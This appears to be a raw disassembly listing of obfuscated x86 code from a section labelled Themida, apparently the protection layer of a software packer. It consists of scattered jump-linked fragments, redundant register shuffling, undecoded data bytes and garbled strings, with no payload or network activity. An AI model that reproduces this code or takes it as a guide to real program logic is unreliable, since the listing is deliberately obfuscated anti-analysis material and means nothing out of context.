push 6010h
mov [esp], eax
sub esp, 4
jmp loc_554466
; ---------------------------------------------------------------------------
db 81h, 0C2h, 0E5h
dd 295EA05Bh, 0E5EA81F2h, 5E5EA05Bh, 5C241487h, 0FFD5C2E9h
dd 2434FFFFh, 2BF1E95Fh, 4890000h, 569FB824h, 0C2314B78h
dd 6EE0E9h, 4EC8100h, 89000000h, 4AB9240Ch, 6800777Ah
dd 2DBAh, 0BD242C89h, 3BC953B0h, 852FE9h, 4EB8100h, 0E9000000h
dd 0D2Ch, 77EFE95Bh, 0E3890000h, 0D015E950h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5590F2: ; CODE XREF: Themida_:00562440j
sub ebp, 4
xchg ebp, [esp]
jmp loc_55714F
; ---------------------------------------------------------------------------
loc_5590FD: ; CODE XREF: Themida_:00557036j
pop edi
push edx
mov edx, 27843875h
sub edx, 192B05E9h
sub esi, edx
pop edx
push ebx
jmp loc_55324E
; ---------------------------------------------------------------------------
db 31h
dd 3C33243Ch, 34FF5C24h, 89575924h, 4C781E7h, 68000000h
dd 12DEh, 9479E9h
db 0
; ---------------------------------------------------------------------------
loc_559131: ; CODE XREF: Themida_:0055AD9Ej
pop eax
xor al, bl
mov ebx, [esp]
jmp loc_5538FB
; ---------------------------------------------------------------------------
loc_55913C: ; CODE XREF: Themida_:00551075j
mov ebp, 62C45AEDh
jmp loc_55502B
; ---------------------------------------------------------------------------
dw 433h
aSxz db '$И∙Z',0
align 2
dw 0F301h
dd 0D9DC381h, 34FF2B9Ch, 78FCE924h, 0F929FFFFh, 81243C8Bh
dd 4C4h, 2B51E900h, 14890000h, 505A5424h, 2618E9h, 24343300h
dd 0E924248Bh, 0FFFF782Bh, 0C750E941h, 0E3890000h, 65DCBE56h
dd 0E9536C2Bh, 0FFFF9ABFh, 42474FFh, 6F89E95Dh, 0E2890000h
dd 4C281h, 0F0E90000h
db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5591AF: ; CODE XREF: Themida_:00562B39j
xchg edi, ecx
xchg ecx, [esp]
mov esi, [esp]
add esp, 4
push 58ADh
mov [esp], ecx
mov ecx, 706A0C06h
jmp loc_565701
; ---------------------------------------------------------------------------
loc_5591CC: ; CODE XREF: Themida_:0055AA50j
mov esp, [esp]
mov ecx, [esp]
add esp, 4
sub [edi+24h], ebx
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
push ebp
mov ebp, esp
jmp loc_555E79
; ---------------------------------------------------------------------------
loc_5591EF: ; CODE XREF: Themida_:0055E8DEj
mov ebp, 2CA93583h
xor edi, ebp
pop ebp
jmp loc_556D4B
; ---------------------------------------------------------------------------
aBu_9@BuDxis2 db '│Н_9@^│Н-dxIИ2╩',0
dd 0A5E95600h, 8B0000B6h, 81E92424h
db 8Fh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55921B: ; CODE XREF: Themida_:005515EFj
add esp, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
jmp loc_5656A3
; ---------------------------------------------------------------------------
dd 0E92434FFh, 0FFFFED23h, 8704EB83h, 895C241Ch, 0FAE92414h
db 0ABh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_559247: ; CODE XREF: Themida_:0055C423j
push 114F7601h
jmp loc_558140
; ---------------------------------------------------------------------------
db 0BDh, 4, 0
dd 0EB010000h, 241C875Dh, 4EC815Ch, 0E9000000h, 0C625h
dd 0FF7742E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55926D: ; CODE XREF: Themida_:0055930Fj
add esp, 4
add edx, 6012706Ch
jmp loc_5573D3
; ---------------------------------------------------------------------------
dw 0F581h
dd 0BEB5FE14h, 2C8BE901h, 0F77FE924h, 0C8BFFFFh, 4C48124h
dd 33000000h, 14312414h, 24143324h, 8924248Bh, 4E92404h
dd 8BFFFF77h, 54532434h, 4C3815Bh, 57000000h, 4BFh, 9C9EE900h
dd 14B70000h, 5B66F920h, 800CC180h, 0B05068F1h, 2857E94Bh
dd 0D1880000h, 0B2CE95Ah
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5592DE: ; CODE XREF: Themida_:0055FD9Fj
mov ebx, esi
jmp loc_55EF7D
; ---------------------------------------------------------------------------
db 0BBh, 0B5h, 0
dd 21E90B5Eh, 5DFFFFD7h, 0FBF3814Bh, 2906BFFFh, 6BE95BDAh
db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5592FF: ; CODE XREF: Themida_:00563D75j
mov ebp, 1
push ebp
sub dword ptr [esp], 6012706Ch
mov edx, [esp]
jmp loc_55926D
; ---------------------------------------------------------------------------
dd 0FF04C483h, 55582434h, 0FFA96EE9h, 243C89FFh, 2A5E68h
dd 4EC8300h, 83242489h, 8F042404h, 8E682404h, 0E9000018h
dd 0FFFF77A7h
; ---------------------------------------------------------------------------
loc_559340: ; CODE XREF: Themida_:0055E97Bj
pop ecx
add dx, 8AB9h
jmp loc_551469
; ---------------------------------------------------------------------------
db 0BAh
dd 2B650CD3h, 8245401h, 2474015Ah, 246C8104h, 650CD304h
dd 0B850562Bh, 271D6263h, 8158C689h, 8D08246Ch, 148EA4Dh
dd 81082474h, 8D082444h, 5E48EA4Dh, 0FF9549E9h, 242C8BFFh
dd 4C481h, 4BE90000h, 0BDFFFFCDh, 20A83E71h, 0BF57DDF7h
dd 44D8A13Bh, 15FFD01h, 565A5DEBh, 8F37B2BEh, 0E9F30905h
dd 0FFFFE38Ah
; ---------------------------------------------------------------------------
loc_5593B4: ; CODE XREF: Themida_:00561894j
mov [esp], ecx
push eax
push 8BB0FCDh
pop eax
add eax, 40BBF6A3h
mov ecx, eax
pop eax
xor [esp+4], ecx
jmp loc_5511E7
; ---------------------------------------------------------------------------
db 81h
dd 4C4h, 91D7E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5593DA: ; CODE XREF: Themida_:0055D7FCj
add eax, edi
jmp loc_552BE7
; ---------------------------------------------------------------------------
loc_5593E1: ; CODE XREF: Themida_:00553D4Ej
inc si
xor si, 500Dh
add bx, 33C3h
add bx, si
sub bx, 33C3h
pop esi
add ax, bx
push dword ptr [esp]
pop ebx
add esp, 4
sub ax, 559Eh
add ax, 4077h
add bx, 4294h
jmp loc_56143E
; ---------------------------------------------------------------------------
byte_559415 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:005507ECo
aS_8 db '$И',9,'^',0
align 2
aITsby db '┴,$TИbY',0
dw 2900h
dd 0EBC681C6h, 58242E72h, 4EC81h, 3C890000h, 0F1EBF24h
dd 0FE012807h, 5F2434FFh, 4C481h, 0C6010000h, 52E08950h
dd 4BAh, 497AE900h, 535B0000h, 328FC4BBh, 5BDE01E3h, 0FFF284E9h
dd 4D23BEFFh, 46E97366h, 31000022h, 2355DE8h, 81FAA6B0h
dd 55681CEEh, 81C6016Fh, 55681CC6h, 24048B6Fh, 8104C483h
dd 1E4736EAh, 81F22938h, 1E4736C2h, 2434FF38h, 0C179E95Eh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5594A6: ; CODE XREF: Themida_:0055C60Dj
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
jmp loc_553D0B
; ---------------------------------------------------------------------------
loc_5594B7: ; CODE XREF: Themida_:00551D3Cj
push 4
pop ecx
add eax, ecx
jmp loc_5515EC
; ---------------------------------------------------------------------------
loc_5594C4: ; CODE XREF: Themida_:00559F7Fj
push 4
jmp loc_55A4D1
; ---------------------------------------------------------------------------
dw 9668h
dd 0E900005Eh, 0ED9h, 5004C483h, 0D518BCB8h, 58C60157h
dd 7D4AE9h
db 0
; ---------------------------------------------------------------------------
loc_5594E9: ; CODE XREF: Themida_:005622CAj
pop esp
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
push dword ptr [edi+eax*4]
jmp loc_56336F
; ---------------------------------------------------------------------------
loc_5594FC: ; CODE XREF: Themida_:0055EDDCj
pop ebp
sub esp, 4
mov [esp], edx
jmp loc_55CB63
; ---------------------------------------------------------------------------
db 81h
dd 4C4h, 0AAEB8100h, 8103F12Fh, 4ECh, 240C8900h, 2E556AB9h
dd 652EE905h, 3C870000h, 0D5875C24h, 0D587D2F7h, 6A5AF581h
dd 535535ACh, 874B5B5Dh, 0A6B951DDh, 21151374h, 240C8BCDh
dd 6D4AE9h, 3C875A00h, 96E95C24h, 81FFFFA7h, 2C51A8E9h
dd 0C1814903h, 0CA881A97h, 8159CF29h, 4ECh, 243C8900h
dd 81240C8Bh, 4C4h, 0C6815F00h, 3588020Ah, 0F4E9CE01h
dd 0B4FFFFC3h, 84F2E99Bh, 3868FFFFh, 0E9000007h, 66A7h
dd 59D8C681h, 0FE014604h, 5756BF57h, 0E94F4A9Dh, 5DBEh
dd 31083D05h, 5D0F734h, 0C1DDF52h, 69CCC781h, 0C7013EB7h
dd 69CCEF81h, 1583EB7h, 7FA3E9F8h, 0C4830000h, 1AEB8104h
dd 315EE944h, 1156E9D8h, 89570000h, 4C781E7h, 81000000h
dd 4C7h, 243C8700h, 7DDBE9h, 81EB0100h, 6C4DCBC3h, 0C3815D57h
dd 3A8E1664h, 0FF7D4AE9h, 4C381FFh, 83000000h, 1C8704C3h
dd 0BD555C24h, 244D68DDh, 0C581D5F7h, 244D68E2h, 0B43C681h
dd 0C6810450h, 6FB8594Dh, 0EE81EE01h, 6FB8594Dh, 0B43EE81h
dd 2C8B0450h, 4C48124h, 68000000h, 5464h, 57240489h, 366A3BFh
dd 0B1B7E92Ch, 8768FFFFh, 89000053h, 2B9240Ch, 81000000h
dd 726796EFh, 81CF0103h, 726796C7h, 240C8B03h, 50E95451h
dd 0BA000019h, 64367026h, 7508E9h
db 0
; ---------------------------------------------------------------------------
loc_55968D: ; CODE XREF: Themida_:0055764Fj
shr esi, 8
xor esi, 2FDF688Fh
jmp loc_5547A3
; ---------------------------------------------------------------------------
loc_55969B: ; CODE XREF: Themida_:00553CD1j
xchg eax, [esp]
pop esp
push edx
push ecx
mov ch, 7Dh
jmp loc_55B48F
; ---------------------------------------------------------------------------
dd 0B850E589h, 4, 8358C501h, 2C8704EDh, 14895C24h, 2BE5624h
dd 0E9382238h, 4F7Ah, 5DE95552h, 5F00001Bh, 242C8758h
dd 0E924248Bh, 0FFFF9FB5h
; ---------------------------------------------------------------------------
loc_5596DC: ; CODE XREF: Themida_:0055D709j
pop ebp
jmp loc_560730
; ---------------------------------------------------------------------------
dw 0E689h
dd 4C681h, 0C6810000h, 4, 31243433h, 34332434h, 3CE95C24h
dd 81FFFFA5h, 7474D5E9h, 1588E97Eh, 0CD890000h, 5DE88959h
dd 0F7EAE950h, 0E5C1FFFFh, 45EDD107h, 2FEEED81h, 0EF8952FAh
dd 0E9FD295Dh, 0FFFFFFA3h
; ---------------------------------------------------------------------------
loc_55972C: ; CODE XREF: Themida_:005510B2j
mov [esp], ebx
jmp loc_55C41B
; ---------------------------------------------------------------------------
loc_559734: ; CODE XREF: Themida_:0056499Bj
xor dh, 0A6h
add ch, dh
mov edx, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_5621B5
; ---------------------------------------------------------------------------
dd 6FBABE56h, 814E49B2h, 0B26FBDF6h, 0E9F18949h, 0FFFF9D10h
; ---------------------------------------------------------------------------
loc_559764: ; CODE XREF: Themida_:0055F13Aj
pop edx
xor eax, edi
mov edi, [esp]
add esp, 4
mov edi, [esp]
add esp, 4
push 53B5h
mov [esp], ebp
push esi
mov esi, 4D922F0Fh
add esi, 57176115h
sub esi, 38F62634h
jmp loc_559B16
; ---------------------------------------------------------------------------
loc_559798: ; CODE XREF: Themida_:0055D159j
pop ebp
xor ecx, 2AC91062h
mov edi, ecx
pop ecx
jmp loc_55208B
; ---------------------------------------------------------------------------
db 0C1h
dd 0EE8105E6h, 0DEEB799Ch, 15EF289h, 0C7815AD7h, 4, 5C243C87h
dd 348BF031h, 4C48324h, 2B668h, 242C8900h, 4B116850h, 0BD580B0Bh
dd 2522318h, 8158C531h, 0F55AB8CDh, 0E9DDF77Fh, 0AA31h
dd 5AE9EE00h, 810000A8h, 205F8FC9h, 63C18114h, 2183EA1Eh
dd 554E59CEh, 0C6105BDh, 71CD815Bh, 0C16A213Ch, 4D4D05EDh
dd 8106EDC1h, 461943F5h, 0C9C8E96Dh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_559822: ; CODE XREF: Themida_:0055F595j
sub ebx, ebp
push ebp
mov ebp, 210F206Fh
jmp loc_55BF80
; ---------------------------------------------------------------------------
loc_55982F: ; CODE XREF: Themida_:0055165Cj
xor ebx, 1FDF95FEh
and eax, ebx
push dword ptr [esp]
mov ebx, [esp]
jmp loc_55DF09
; ---------------------------------------------------------------------------
dw 0C181h
dd 4, 0E904C183h, 2798h, 5357EB81h, 6D68063Bh, 89000014h
dd 0BD552404h, 3D5B52F4h, 4FB1ED81h, 0E889C430h, 5A31E95Dh
dd 248B0000h, 24048924h, 6D8268h, 47D7E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_559882: ; CODE XREF: Themida_:0055C706j
not ebx
add ebx, 0FFFFFFFFh
jmp loc_55A4B0
; ---------------------------------------------------------------------------
db 83h
dd 148704C4h, 24248B24h, 54241489h, 5A2434FFh, 4C481h
dd 0C2810000h, 4, 4BF57h, 0E9510000h, 93C8h
; ---------------------------------------------------------------------------
loc_5598B8: ; CODE XREF: Themida_:0055E489j
xchg esi, [esp]
pop esp
or edx, eax
shl edx, 1
push esi
mov esi, 1
jmp loc_5651F4
; ---------------------------------------------------------------------------
db 0C3h
dd 0FF70DEE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5598D1: ; CODE XREF: Themida_:00562D27j
add ebx, 6B8E4ECEh
pop esi
jmp loc_555A45
; ---------------------------------------------------------------------------
loc_5598DD: ; CODE XREF: Themida_:00553C6Ej
add esp, 4
push 7714h
mov [esp], ebx
push eax
mov al, 91h
jmp loc_55A0E5
; ---------------------------------------------------------------------------
db 89h
dd 0EC812404h, 4, 52241C89h, 0A790E9h
db 0
; ---------------------------------------------------------------------------
loc_559905: ; CODE XREF: Themida_:00550B43j
add edx, 4
add edx, 4
jmp loc_56295F
; ---------------------------------------------------------------------------
db 81h
dd 42404h, 48F0000h, 0AF66E924h, 92680000h, 89000073h
dd 4DE92404h
db 6Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55992F: ; CODE XREF: Themida_:0056028Ej
push dword ptr [esp]
pop edi
push esi
jmp loc_55C365
; ---------------------------------------------------------------------------
db 0C1h, 0E0h, 4
dd 8ACBE950h, 0D329FFFFh, 0FA49E955h, 5159FFFFh, 157BE9h
db 0
; ---------------------------------------------------------------------------
loc_559951: ; CODE XREF: Themida_:00551CECj
xor ecx, 1007430Bh
push dword ptr [esp]
pop ebp
add esp, 4
not ecx
not ecx
add ecx, 1EAB0F19h
add ecx, 7929ABD3h
add edx, ecx
pop ecx
add edx, 4
xchg edx, [esp]
pop esp
or eax, eax
jz loc_55A64D
push ebx
mov ebx, 1Ch
jmp loc_5645F5
; ---------------------------------------------------------------------------
dw 0FD31h
a_sd db '_И└/',0
align 2
dw 4481h
dd 6D890424h, 6C8170B8h, 63540424h, 6C817BB8h, 270424h
dd 34FF3EDDh, 0C4835A24h, 24148B04h, 4C481h, 0B5E90000h
db 79h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5599C3: ; CODE XREF: Themida_:00551C48j
sub esi, 4B592AF8h
add esi, edx
add esi, 4B592AF8h
jmp loc_5648FB
; ---------------------------------------------------------------------------
loc_5599D6: ; CODE XREF: Themida_:005622A6j
sub ebp, 4ED2677Fh
sub ebp, 0BCB9D068h
push ebp
jmp loc_55C550
; ---------------------------------------------------------------------------
loc_5599E8: ; CODE XREF: Themida_:005581C6j
mov eax, [esp]
jmp loc_55760F
; ---------------------------------------------------------------------------
dd 4BF57h, 0BE050000h, 17EB95Bh, 5BBE2DF8h, 8E97EB9h, 0FE0000B1h
dd 53D3E9CFh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_559A0E: ; CODE XREF: Themida_:00564E3Ej
pop edx
jmp loc_563A4C
; ---------------------------------------------------------------------------
dd 4EC835Ch, 83242C89h, 148904ECh, 2CD4BA24h, 2BBD306Dh
dd 29A48850h, 2434FFD5h, 0FFF3FEE9h, 85E95EFFh
db 86h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_559A3B: ; CODE XREF: Themida_:0055EBFCj
mov edi, [esp]
push ebx
mov ebx, esp
add ebx, 4
jmp loc_553987
; ---------------------------------------------------------------------------
dd 0A1E95156h, 52FFFFA9h, 322BBF57h, 69E92044h, 51FFFFC7h
dd 3B4EF6B9h, 81D1F70Fh, 3B4EFBC1h, 0E9CF010Fh, 0FFFFB6B2h
dd 0C581DDF7h, 37B53275h, 686DE9h, 4335C00h, 24043124h
dd 0E9240433h, 2BEFh, 0E904C483h, 1C87h, 4207E2C1h, 5EA9E281h
dd 0F28134E1h, 2F37FE2Ch, 542AE9h, 2C48300h, 19D3E9h
db 0
byte_559AB5 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00550738o
dd 0F0B0E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_559ABE: ; CODE XREF: Themida_:0055AC8Dj
pop ecx
push 7A36h
mov [esp], edx
push 0BA1h
mov [esp], esp
jmp loc_55F89B
; ---------------------------------------------------------------------------
loc_559AD4: ; CODE XREF: Themida_:00553010j
push 1689h
mov [esp], esi
push esp
pop esi
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
loc_559AEB: ; CODE XREF: Themida_:00563387j
push 3FB4h
mov [esp], edi
push ebx
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
jmp loc_55BDCA
; ---------------------------------------------------------------------------
loc_559B09: ; CODE XREF: Themida_:0056355Dj
push ebp
jmp loc_55B06A
; ---------------------------------------------------------------------------
db 41h
dd 0E987E952h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_559B16: ; CODE XREF: Themida_:00559793j
add esi, 40500658h
add esi, 0C877BFF8h
mov ebp, esi
pop esi
push 7A1Ah
mov [esp], ebx
push edi
mov edi, esp
jmp loc_5526C3
; ---------------------------------------------------------------------------
loc_559B35: ; CODE XREF: Themida_:00556766j
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
push ebx
mov ebx, esp
jmp loc_55D8ED
; ---------------------------------------------------------------------------
align 4
dd 0C8B66CBh, 2C48324h, 2832C380h, 32EB80E3h, 8BAEEB80h
dd 0C4812404h, 4, 66535266h, 8815B151h, 9264E9CBh, 0E7810000h
dd 548B3CF9h, 2C1CC781h, 0F921E646h, 81D1F75Fh, 0BEF7DBF1h
dd 538905CBh, 0C80149C8h, 0C853892Dh, 0B1E95949h, 1FFFFFEh
dd 8104246Ch, 7704246Ch, 56545079h, 0C06C35BEh, 24448172h
dd 0B49B808h, 24742945h, 246C8108h, 0B49B808h, 24348B45h
dd 4C481h, 44810000h, 22540424h, 0FF5D4E96h, 56582434h
dd 0C681E689h, 4, 1641E9h, 4EF8300h, 31243C33h, 3C33243Ch
dd 14895C24h, 51E28924h, 0C181E189h, 4, 4E981h, 0C870000h
dd 2C895C24h, 815D5424h, 4C5h, 7343E900h, 0C5810000h, 24BFD289h
dd 6A52E955h, 0D6F70000h, 9989EE81h, 0F08921C8h, 6BE4055Eh
dd 0D00136F6h, 0F66BE42Dh, 24148B36h, 0E9E38953h, 4FD0h
dd 50E9DAF6h
db 0BDh, 2 dup(0)
byte_559C4F db 0ADh ; DATA XREF: Themida_:00550838o
dd 0E904EC83h, 0AA54h, 0D0E95153h
db 84h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_559C5F: ; CODE XREF: Themida_:005517B8j
mov [esp], ebp
mov ebp, 6CC95119h
dec ebp
xor ebp, 79D4058Fh
jmp loc_55C6E1
; ---------------------------------------------------------------------------
loc_559C73: ; CODE XREF: Themida_:00564A8Bj
mov bl, 78h
sub ch, bl
pop bx
not ch
inc ch
shl ch, 7
push ecx
jmp loc_560BAE
; ---------------------------------------------------------------------------
dw 0C301h
dd 63A0C381h, 0EB8147F3h, 3A8E1664h, 0FFDD6FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_559C99: ; CODE XREF: Themida_:00559ECEj
add ebp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_55C547
; ---------------------------------------------------------------------------
loc_559CAA: ; CODE XREF: Themida_:00561150j
add edx, 76DEA058h
mov esi, edx
push dword ptr [esp]
jmp loc_558FAB
; ---------------------------------------------------------------------------
loc_559CBA: ; CODE XREF: Themida_:0056080Aj
push cx
push edx
mov dl, 0C9h
mov cl, 0D1h
sub cl, dl
mov edx, [esp]
add esp, 4
sub bl, 98h
sub bl, cl
jmp loc_5584BC
; ---------------------------------------------------------------------------
dw 8868h
dd 0E900006Dh, 0FFFFD5A0h
; ---------------------------------------------------------------------------
loc_559CE0: ; CODE XREF: Themida_:005605F2j
mov edx, esi
jmp loc_5529CA
; ---------------------------------------------------------------------------
loc_559CE7: ; CODE XREF: Themida_:0055CB88j
or edx, 5F0F337Eh
jmp loc_561146
; ---------------------------------------------------------------------------
loc_559CF2: ; CODE XREF: Themida_:005512A0j
pop ebp
and ebp, 156E2073h
not ebp
shl ebp, 4
jmp loc_55FA4B
; ---------------------------------------------------------------------------
loc_559D03: ; CODE XREF: Themida_:0055897Fj
sub edx, ebp
add edx, 21926DBDh
pop ebp
add ebx, edx
jmp loc_553F30
; ---------------------------------------------------------------------------
loc_559D13: ; CODE XREF: Themida_:0055F018j
pop eax
push edx
push 491Dh
mov [esp], ebx
push 24CD5946h
jmp loc_557991
; ---------------------------------------------------------------------------
loc_559D27: ; CODE XREF: Themida_:0055AA67j
sub edi, ecx
pop ecx
add edi, ebp
push ebx
mov ebx, 6E490D19h
and ebx, 4AE05A7Bh
and ebx, 1BA1149Ch
jmp loc_562FC3
; ---------------------------------------------------------------------------
loc_559D43: ; CODE XREF: Themida_:0056513Bj
pop esi
add esi, 4
push ebp
mov ebp, 33F845B2h
jmp loc_55C8CF
; ---------------------------------------------------------------------------
loc_559D55: ; CODE XREF: Themida_:0055D18Fj
pop eax
pop edx
add edx, 4
push 163Dh
mov [esp], eax
mov eax, 4
add edx, eax
pop eax
jmp loc_5633BB
; ---------------------------------------------------------------------------
dw 0BE56h
dd 1, 348BF589h, 4C48324h, 34FFE921h, 242C8B24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
jmp loc_55AE56
; ---------------------------------------------------------------------------
dw 0EA01h
dd 8BD0015Dh, 0C4812414h, 4, 4EC81h, 3C890000h, 0E6895624h
dd 4BB53h, 0DE010000h, 4EE815Bh, 87000000h, 0E95C2434h
dd 520Ah
; ---------------------------------------------------------------------------
loc_559DD8: ; CODE XREF: Themida_:0055C8D8j
sub ebp, 0ABF4BE43h
add esi, ebp
pop ebp
jmp loc_558A19
; ---------------------------------------------------------------------------
loc_559DE6: ; CODE XREF: Themida_:00552A81j
push ecx
jmp loc_55FE85
; ---------------------------------------------------------------------------
loc_559DEC: ; CODE XREF: Themida_:0055555Cj
sub esi, 94F0382h
jmp loc_550E9B
; ---------------------------------------------------------------------------
loc_559DF7: ; CODE XREF: Themida_:0056148Ej
xor ebp, esi
pop esi
add edx, ebp
pop ebp
push ebx
mov ebx, 0
add ebx, edx
jmp loc_55D43B
; ---------------------------------------------------------------------------
aXsP db 'XИ°╞',0
align 10h
dd 8B241C87h, 14892424h, 0CF5E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop dword ptr [esp]
sub esp, 4
mov [esp], eax
mov eax, 4
add dword ptr [esp+4], 5354559Dh
add [esp+4], eax
jmp loc_55402C
; ---------------------------------------------------------------------------
db 80h, 0EBh, 7Fh
dd 82B7E9h, 24740100h, 39FFE904h, 54520000h, 4C2815Ah
dd 83000000h, 148704C2h, 0C6815C24h, 4, 0FF9ECAE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_559E89: ; CODE XREF: Themida_:0056205Aj
push dword ptr [ebx]
pop ecx
pop ebx
jmp loc_550AF8
; ---------------------------------------------------------------------------
loc_559E92: ; CODE XREF: Themida_:0055573Aj
xor ebx, 9FC25A12h
add eax, ebx
jmp loc_55FF32
; ---------------------------------------------------------------------------
byte_559E9F db 0FFh ; DATA XREF: Themida_:0055095Co
dd 669D1C77h, 241CD359h, 6B01E99Ch, 0C781FFFFh, 4, 8B243C87h
dd 0E8682424h, 0E9000041h, 0FFFFE5CBh, 21F5E957h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_559ECA: ; CODE XREF: Themida_:00551F1Dj
pop edx
push ebp
mov ebp, esp
jmp loc_559C99
; ---------------------------------------------------------------------------
loc_559ED3: ; CODE XREF: Themida_:00556997j
push edx
mov edx, esp
jmp loc_552D30
; ---------------------------------------------------------------------------
db 8Bh
dd 0C4812434h, 4
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_55C612
; ---------------------------------------------------------------------------
dd 80D3B151h, 8852DDE9h, 5AD088CAh, 81240C8Bh, 4C4h, 245D3400h
dd 34F2245Eh, 58C52030h, 72846866h, 240C8966h, 1245486h
dd 0FFC9ABE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_559F1D: ; CODE XREF: Themida_:005583EDj
xor eax, esi
xor esi, eax
jmp loc_565BF1
; ---------------------------------------------------------------------------
dw 815Ah
dd 0AF5B67C9h, 81D1F73Ch, 1E9h, 0E9D98700h, 4A44h, 5E241CF7h
dd 60BCE81h, 0D6F76CEAh, 0E905E6C1h, 0FFFFDA05h, 0E414E95Dh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_559F56: ; CODE XREF: Themida_:0055FDE7j
mov [esp], esi
push dword ptr [esp+4]
push dword ptr [esp]
pop esi
add esp, 4
pop dword ptr [esp]
push dword ptr [esp]
push dword ptr [esp]
pop eax
push edx
jmp loc_55444B
; ---------------------------------------------------------------------------
loc_559F77: ; CODE XREF: Themida_:00551AB0j
push 39F9h
mov [esp], ecx
jmp loc_5594C4
; ---------------------------------------------------------------------------
dd 1C3B68h, 24148900h, 42474FFh, 6824148Bh, 6B5Ah, 0FF8CE3E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_559F9D: ; CODE XREF: Themida_:00556594j
mov ecx, 4
add edx, 4EF3201Dh
sub edx, 2F2E48E4h
sub edx, ecx
add edx, 2F2E48E4h
jmp loc_5559B0
; ---------------------------------------------------------------------------
loc_559FBB: ; CODE XREF: Themida_:0055E8CCj
add al, bl
jmp loc_5551FB
; ---------------------------------------------------------------------------
loc_559FC2: ; CODE XREF: Themida_:00554810j
xor esi, [esp]
pop esp
mov [esp], ebx
push esp
pop ebx
push ecx
mov ecx, 4
add ebx, ecx
pop ecx
push edx
push 3D016DD4h
pop edx
or edx, 67F07BD1h
shr edx, 1
xor edx, 3FF8BFEEh
sub ebx, edx
jmp loc_560E8D
; ---------------------------------------------------------------------------
loc_559FF0: ; CODE XREF: Themida_:00560EA4j
add esp, 4
jmp loc_561BC6
; ---------------------------------------------------------------------------
db 0BEh
align 10h
dd 0F287D629h, 0F281425Eh, 0D6D3F891h, 815AD529h, 0E56D47EDh
dd 0E9E8296Ch, 828Fh
dword_55A01C dd 0FF2434FFh, 81582434h, 4ECh, 240C8900h, 2087E9h
; DATA XREF: Themida_:005507C8o
db 0
; ---------------------------------------------------------------------------
loc_55A031: ; CODE XREF: Themida_:0055C258j
shr ebx, 3
shl ebx, 6
dec ebx
push ebp
mov ebp, 76CCF734h
xor ebx, ebp
push dword ptr [esp]
pop ebp
add esp, 4
mov ecx, ebx
mov ebx, [esp]
add esp, 4
mov esi, ecx
mov ecx, [esp]
jmp loc_55C05B
; ---------------------------------------------------------------------------
aIHL db '┴$$h*L',0
align 4
dd 452E9h
db 0
; ---------------------------------------------------------------------------
loc_55A069: ; CODE XREF: Themida_:0055F530j
pop esp
jmp loc_5567C0
; ---------------------------------------------------------------------------
db 28h
dd 0DEB551C3h, 0FFC503E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55A079: ; CODE XREF: Themida_:00564909j
mov eax, 3FD075DBh
jmp loc_55DAE0
; ---------------------------------------------------------------------------
loc_55A083: ; CODE XREF: Themida_:00552ADEj
sub esi, 267140ACh
sub esi, 354E68DBh
push eax
jmp loc_55F6CC
; ---------------------------------------------------------------------------
loc_55A095: ; CODE XREF: Themida_:005519C0j
mov ebx, 4
add eax, ebx
pop ebx
sub eax, 4
xchg eax, [esp]
jmp loc_55582E
; ---------------------------------------------------------------------------
loc_55A0AA: ; CODE XREF: Themida_:00551E96j
neg edx
xor edx, 0EC73B0B5h
jmp loc_553821
; ---------------------------------------------------------------------------
loc_55A0B7: ; CODE XREF: Themida_:0055DC4Bj
add esp, 4
push edi
mov edi, 4
add ecx, edi
pop edi
push ecx
jmp loc_554472
; ---------------------------------------------------------------------------
db 66h, 8Bh, 4
aHv db '$h┌[',0
align 2
dw 8AE9h
db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55A0D7: ; CODE XREF: Themida_:00557DC6j
xchg edi, [esp]
mov esp, [esp]
mov [esp], eax
jmp loc_5509AF
; ---------------------------------------------------------------------------
loc_55A0E5: ; CODE XREF: Themida_:005598EEj
sub al, 0D8h
add al, 48h
neg al
add al, 61h
jmp loc_56234B
; ---------------------------------------------------------------------------
loc_55A0F2: ; CODE XREF: Themida_:00551373j
push edx
push 1807D1Dh
